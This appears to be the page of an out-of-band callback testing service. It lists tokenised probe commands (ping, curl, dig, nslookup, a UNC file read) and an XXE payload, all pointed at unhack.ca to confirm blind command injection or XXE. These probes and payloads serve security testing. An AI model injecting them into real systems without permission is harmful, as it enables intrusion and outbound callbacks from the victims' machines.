$ ping -c1 -p 00e02eb4b824181c410ca83bf79a9900 unhack.ca
$ curl http://unhack.ca/p/e02eb4b824181c410ca83bf79a99
$ dig e02eb4b824181c410ca83bf79a99 @unhack.ca
$ dig e02eb4b824181c410ca83bf79a99.ns.unhack.ca
C:\> nslookup e02eb4b824181c410ca83bf79a99 unhack.ca
C:\> type \\unhack.ca\e02eb4b824181c410ca83bf79a99\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/e02eb4b824181c410ca83bf79a99">]>
<foo>&xxe;</foo>
Waiting for ping...